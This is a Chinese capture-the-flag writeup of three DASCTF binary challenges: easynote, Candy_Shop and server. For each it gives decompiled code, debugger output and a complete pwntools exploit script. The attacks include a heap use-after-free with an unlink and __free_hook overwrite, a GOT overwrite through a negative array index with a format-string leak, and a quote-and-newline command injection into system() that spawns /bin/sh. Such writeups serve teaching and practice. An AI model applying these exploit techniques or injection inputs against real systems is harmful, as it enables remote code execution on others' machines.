DASCTF二进制专项部分Writeup
easynote
create：堆大小可以任意分配只要不超过0xFFF
create()
unsigned __int64 create()
{
int i; // [rsp+0h] [rbp-20h]
unsigned int size; // [rsp+4h] [rbp-1Ch]
void *size_4; // [rsp+8h] [rbp-18h]
char buf[8]; // [rsp+10h] [rbp-10h] BYREF
unsigned __int64 v5; // [rsp+18h] [rbp-8h]
v5 = __readfsqword(0x28u);
for ( i = 0; *(&chunk_ptr + i); ++i )
;
puts("The length of your content --->");
read(0, buf, 4uLL);
size = atoi(buf);
if ( size > 0xFFF )
{
puts("Are you kidding me?");
exit(0);
}
size_4 = malloc(size);
if ( !size_4 )
{
puts("Here something goes wrong!");
exit(0);
}
puts("Content --->");
read(0, size_4, size);
*(&chunk_ptr + i) = size_4;
return __readfsqword(0x28u) ^ v5;
}delete：释放之后没做任何处理，存在UAF和Double Free。
delete()
unsigned __int64 delete()
{
unsigned int v1; // [rsp+Ch] [rbp-14h]
char buf[8]; // [rsp+10h] [rbp-10h] BYREF
unsigned __int64 v3; // [rsp+18h] [rbp-8h]
v3 = __readfsqword(0x28u);
puts("Index --->");
read(0, buf, 4uLL);
v1 = atoi(buf);
if ( !*(&chunk_ptr + v1) )
{
puts("Are you kididng me?");
exit(0);
}
free(*(&chunk_ptr + v1));
puts("done");
return __readfsqword(0x28u) ^ v3;
}edit：没有对索引进行处理，只要索引处是一个可写的地址就行，而且写入大小也是自己控制，可以伪造堆。
edit()
unsigned __int64 edit()
{
unsigned int v1; // [rsp+8h] [rbp-18h]
unsigned int nbytes; // [rsp+Ch] [rbp-14h]
char nbytes_4; // [rsp+10h] [rbp-10h] BYREF
unsigned __int64 v4; // [rsp+18h] [rbp-8h]
v4 = __readfsqword(0x28u);
puts("Index --->");
read(0, &nbytes_4, 4uLL);
v1 = atoi(&nbytes_4);
if ( !*(&chunk_ptr + v1) )
{
puts("Are you kididng me?");
exit(0);
}
puts("The length of your content --->");
read(0, &nbytes_4, 4uLL);
nbytes = atoi(&nbytes_4);
puts("Content --->");
read(0, *(&chunk_ptr + v1), nbytes);
puts("done");
return __readfsqword(0x28u) ^ v4;
}
unsigned __int64 show()
{
unsigned int v1; // [rsp+Ch] [rbp-14h]
char buf[8]; // [rsp+10h] [rbp-10h] BYREF
unsigned __int64 v3; // [rsp+18h] [rbp-8h]
v3 = __readfsqword(0x28u);
puts("Index --->");
read(0, buf, 4uLL);
v1 = atoi(buf);
if ( !*(&chunk_ptr + v1) )
{
puts("Are you kididng me?");
exit(0);
}
printf("Content: %s\n", (const char *)*(&chunk_ptr + v1));
puts("done");
return __readfsqword(0x28u) ^ v3;
}解题思路：
1、创建三个堆块，第一个堆块大小要可以装下一个伪造的堆（不属于fastbin），后两个不属于fastbin就可以。编号：chunk0、chunk1、chunk2。
2、释放chunk0，利用show打印chunk0，获得main_arena+0x58的地址，main_arena的地址在malloc_trim函数里面。计算出libc的基址。
3、重新申请chunk0，写入伪造的堆块，将chunk1的 PREV_INUSE 置为0，释放chunk1，利用unlink修改指向chunk0的地址为伪造的堆块的fd。
4、往chunk_ptr里面写入__free_hook的地址，修改__free_hook为system，释放chunk3（chunk3内容为/bin/sh），获得shell。
需要注意的地方：
main_arena的地址查找
main_arena
gdb-peda$ heap
Free chunk (unsortedbin) | PREV_INUSE
Addr: 0x1209000
Size: 0xa1
fd: 0x7f658cb98b78
bk: 0x7f658cb98b78
Allocated chunk
Addr: 0x12090a0
Size: 0x90
Allocated chunk | PREV_INUSE
Addr: 0x1209130
Size: 0xb1
Top chunk | PREV_INUSE
Addr: 0x12091e0
Size: 0x20e21
gdb-peda$ x 0x7f658cb98b78
0x7f658cb98b78 <main_arena+88>: 0x00000000012091e0malloc_trim
// 源码
int __malloc_trim(size_t s) {
int result = 0;
if (__malloc_initialized < 0)
ptmalloc_init();
mstate ar_ptr = &main_arena;
// IDA
__int64 __fastcall malloc_trim(__int64 a1) {
if ( dword_3C4144 < 0 )
sub_854D0();
v21 = 0;
v18 = &dword_3C4B20;在libc-2.23，main_arena在__malloc_hook + 0x10处
.data:00000000003C4B10 public __malloc_hook ; weak
.data:00000000003C4B10 A0 58 08 00 00 00 00 00 __malloc_hook dq offset sub_858A0 ; DATA XREF: LOAD:000000000000A380↑o
.data:00000000003C4B10 ; .got:__malloc_hook_ptr↑o
.data:00000000003C4B18 00 00 00 00 00 00 00 00 align 20h
.data:00000000003C4B20 00 00 00 00 dword_3C4B20 dd 0伪造的堆块需要满足的条件
伪chunk->fd->bk == P && 伪chunk->bk->fd == P（在C语言里面->表示左边的结构体变量的地址+右边成员在左边结构体的偏移量），说最简单些就是伪chunk的fd处的地址指向存在这个伪chunk的地址的地址减去bk（32位为0xC，64位为0x18），还是看图理解吧。
当释放chunk1时因为prev_inuse为0，会向上合并执行unlink，就会将0x0100处的值修改为fd（0x00E8）。这里如果想深入了解可以去阅读libc源码。
exp
from pwn import *
debug = 0
local = 0
host = "node4.buuoj.cn"
port = 27934
filename = "./pwn"
def malloc(size, data):
p.sendafter(b'5. exit\n', b'1')
p.sendafter(b'The length of your content --->\n', f'{size}'.encode())
p.sendafter(b'Content --->\n', data)
def edit(index, size, data):
p.sendafter(b'5. exit\n', b'2')
p.sendafter(b'Index --->\n', f'{index}'.encode())
p.sendafter(b'The length of your content --->\n', f'{size}'.encode())
p.sendafter(b'Content --->\n', data)
def free(index):
p.sendafter(b'5. exit\n', b'3')
p.sendafter(b'Index --->\n', f'{index}'.encode())
def show(index):
p.sendafter(b'5. exit\n', b'4')
p.sendafter(b'Index --->\n', f'{index}'.encode())
p = process(filename) if not debug and local else gdb.debug(filename, "b main\nb *0x400C69") if debug else remote(host, port)
elf = ELF(filename)
libc = ELF("/root/Desktop/glibc-all-in-one/libs/2.23-0ubuntu3_amd64/libc-2.23.so") if local else ELF('./libc-2.23.so')
chunk = 0x6020C0
malloc(0x98, b'A' * 0x8)
malloc(0x88, b'A' * 0x8)
malloc(0xA8, b'/bin/sh\x00')
free(0)
show(0)
p.recvuntil(b'Content: ')
main_arena_va = u64(p.recvuntil(b'\n').strip().ljust(8, b'\x00')) - 0x58
libcbase = main_arena_va - libc.sym['__malloc_hook'] - 0x10
system = libcbase + libc.sym['system']
free_hook = libcbase + libc.sym['__free_hook']
print(f'main_arena_va => {hex(main_arena_va)}')
print(f'libcbase => {hex(libcbase)}')
malloc(0x98, b'A' * 0x8) # free(): corrupted unsorted chunks
payload = p64(0) + p64(0x91) + p64(chunk - 0x18) + p64(chunk - 0x10)
payload = payload.ljust(0x90, b'\x00')
payload += p64(0x90) + p64(0x90)
edit(0, len(payload), payload)
free(1)
payload = p64(0) * 3 + p64(free_hook)
edit(0, 0x20, payload)
edit(0, 0x8, p64(system))
free(2)
p.interactive()Candy_Shop
buy_canary：在写入canarys时，索引可以为负数，因为got表在canarys上面可以改写got表，但是要先改一下money（同样也在canarys上面）的值。
buy_canary()
unsigned __int64 buy_canary()
{
int v1; // [rsp+0h] [rbp-10h] BYREF
char v2[2]; // [rsp+6h] [rbp-Ah] BYREF
unsigned __int64 v3; // [rsp+8h] [rbp-8h]
v3 = __readfsqword(0x28u);
puts(&s);
printf("You just have %d dollors\n", (unsigned int)money);
puts("(T)hree dollors a Krola");
puts("(t)wo dollors a Slania");
puts("(f)our dollors a Koparia");
printf("Which one you want to bye: ");
getstring(v2, 2LL);
if ( v2[0] == 84 && (unsigned int)money > 2 )
{
money -= 3;
}
else if ( v2[0] == 116 && (unsigned int)money > 1 )
{
money -= 2;
}
else
{
if ( v2[0] != 102 || (unsigned int)money <= 3 )
{
puts("You wanna fool me???");
exit(0);
}
money -= 4;
}
puts("Which pocket would you like to put the candy in?");
printf(": ");
__isoc99_scanf("%d", &v1);
if ( v1 > 2 )
exit(0);
puts("Give your candy a name!");
printf(": ");
getstring((char *)&canarys + 19 * v1, 19LL);
puts("Done!!!");
return v3 - __readfsqword(0x28u);
}gift：存在格式化字符串漏洞，动态调试可以发现在调用printf时，RCX为write + 23，进而泄露libc地址。
if ( v3 )
{
puts("Give me your name: ");
getstring(format, 8LL);
printf("booooo!!!!\nyou have received a gift:");
printf(format);
puts(&s);
--v3;
}解题思路：
利用buy_canary写入got表，修改memset为system，获得shell。
exp
from pwn import *
debug = 0
local = 0
host = "139.155.132.59"
port = 9999
filename = "./pwn"
def buy(index, data):
p.sendlineafter(b'option: ', b'b')
p.sendlineafter(b'Which one you want to bye: ', b't')
p.sendlineafter(b': ', f'{index}'.encode())
p.sendlineafter(b': ', data)
p = process(filename) if not debug and local else gdb.debug(filename, "b main\n b _buy_canary") if debug else remote(host, port)
elf = ELF(filename)
libc = ELF("./libc.so.6")
p.sendlineafter(b'option: ', b'g')
p.sendlineafter(b'Give me your name: \n', b'%3$p')
p.recvuntil(b'0x')
write = int(p.recvuntil(b'\n').strip().decode(), 16) - 23
libcbase = write - libc.sym['write']
printf = libcbase + libc.sym['printf']
system = libcbase + libc.sym['system']
print(f'write => {hex(write)}')
print(f'libcbase => {hex(libcbase)}')
print(f'printf => {hex(printf)}')
print(f'system => {hex(system)}')
p.sendlineafter(b'option: ', b'e') # 执行一次memset将memset地址绑定的got表，因为后面要利用memeset获得shell
buy(-2, b'\xFF' * 11)
buy(0, b'/bin/sh\x00')
payload = b'A' * 6 + p64(printf) + p64(system)[:-3]
# 这里不使用上面定义的buy是因为，需要把payload写入程序，长度正好是19如果多输入一个\n就会执行gift，还要输入其他内容。
index = -10
p.sendlineafter(b'option: ', b'b')
p.sendlineafter(b'Which one you want to bye: ', b't')
p.sendlineafter(b': ', f'{index}'.encode())
p.sendafter(b': ', payload)
p.sendlineafter(b'option: ', b'e')
p.interactive()server
观察第一个函数里面的s和读入s字符串的长度，观察第二个函数的v1
仔细观察
unsigned __int64 sub_141A()
{
char s[32]; // [rsp+0h] [rbp-60h] BYREF
char name[56]; // [rsp+20h] [rbp-40h] BYREF
unsigned __int64 v3; // [rsp+58h] [rbp-8h]
v3 = __readfsqword(0x28u);
puts("Hello, CTFer.");
puts("Please input the key of admin : ");
fgets(s, 28, stdin);
snprintf(name, 0x20uLL, "/keys/%s.key", s);
if ( access(name, 0) == -1 )
{
puts("Sorry, you are not winmt.");
}
else
{
puts("Hello, winmt.");
dword_404C = 1;
}
return __readfsqword(0x28u) ^ v3;
}
unsigned __int64 sub_16B5()
{
char v1[16]; // [rsp+10h] [rbp-50h] BYREF
char s[56]; // [rsp+20h] [rbp-40h] BYREF
unsigned __int64 v3; // [rsp+58h] [rbp-8h]
v3 = __readfsqword(0x28u);
puts("Hello, winmt.");
puts("Please input the username to add : ");
if ( (unsigned int)sub_14DA(v1) == -1 )
{
puts("Woc! You're a hacker!");
dword_404C = 0;
exit(-1);
}
snprintf(s, 0x30uLL, "add_user -u '%s' -p '888888'", v1);
system(s);
puts("Success!");
return __readfsqword(0x28u) ^ v3;
}动态调试容易发现漏洞
snprintf只会保留指定长度的字符，输入长一些的字符串绕过access。
► 0x5633e609b495 call access@plt <access@plt>
name: 0x7ffe2d1f5b60 ◂— '/keys/../////////////////bin/sh'
type: 0x0登录成功之后发现，两个函数的栈空间里面的变量有重叠的地方，在登录的时候构造合适的字符串，基本不过管第二个函数的过滤。
► 0x5633e609b73c call snprintf@plt <snprintf@plt>
s: 0x7ffe2d1f5b60 ◂— '/keys/../////////////////bin/sh'
maxlen: 0x30
format: 0x5633e609c102 ◂— "add_user -u '%s' -p '888888'"
vararg: 0x7ffe2d1f5b50 ◂— "'\n/bin/sh\n"
► 0x5633e609b748 call system@plt <system@plt>
command: 0x7ffe2d1f5b60 ◂— "add_user -u ''\n/bin/sh\n' -p '888888'"exp
from pwn import *
debug = 0
local = 0
host = "node4.buuoj.cn"
port = 26010
filename = "./pwn_7"
p = process(filename) if not debug and local else gdb.debug(filename, "b alarm\nc\nd\nfinis") if debug else remote(host, port)
elf = ELF(filename)
p.sendlineafter(b'Your choice >> ', b'1')
p.sendlineafter(b'Please input the key of admin : \n', b'../////////////////bin/sh')
p.sendlineafter(b'Your choice >> ', b'2')
p.sendlineafter(b'Please input the username to add : \n', b"'")
p.sendline(b'cat flag')
p.interactive()